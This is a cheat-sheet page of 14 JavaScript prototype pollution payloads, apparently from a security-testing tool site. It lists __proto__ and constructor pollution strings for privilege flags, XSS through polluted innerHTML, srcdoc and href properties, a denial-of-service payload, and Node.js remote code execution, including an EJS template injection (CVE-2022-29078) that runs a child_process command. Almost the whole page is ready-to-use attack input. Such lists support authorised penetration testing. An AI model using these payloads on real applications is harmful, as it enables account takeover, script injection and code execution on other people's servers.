Prototype Pollution Cheat Sheet

JavaScript prototype pollution payloads for __proto__, constructor, and deep merge exploitation. (14 payloads)

(5)

{"__proto__": {"isAdmin": true}}

Classic __proto__ pollution

{"constructor": {"prototype": {"isAdmin": true}}}

Constructor.prototype pollution

?__proto__[isAdmin]=true

Query string pollution

?__proto__.isAdmin=true

Dot notation query pollution

{"__proto__": {"toString": "polluted"}}

Override built-in method

(5)

{"__proto__": {"innerHTML": "<img src=x onerror=alert(1)>"}}

XSS via innerHTML pollution

{"__proto__": {"srcdoc": "<script>alert(1)</script>"}}

XSS via srcdoc pollution

{"__proto__": {"href": "javascript:alert(1)"}}

XSS via href pollution

{"__proto__": {"onload": "alert(1)"}}

XSS via event handler pollution

{"__proto__": {"value": "<script>alert(1)</script>"}}

XSS via value pollution (if rendered)

(4)

{"__proto__": {"shell": "/proc/self/exe", "NODE_OPTIONS": "--require /proc/self/cmdline"}}

Node.js RCE via env pollution

{"__proto__": {"status": 500}}

DoS via status code pollution

{"__proto__": {"admin": true, "role": "superadmin"}}

Privilege escalation via role pollution

{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');x"}}

EJS template RCE (CVE-2022-29078)

Level up your security testing

Install the CLI

npx payload-playground

Explore All Tools

Encoding, hashing, JWT & more

Browse Cheat Sheets

Quick-reference payload guides

Related Generators

$loading...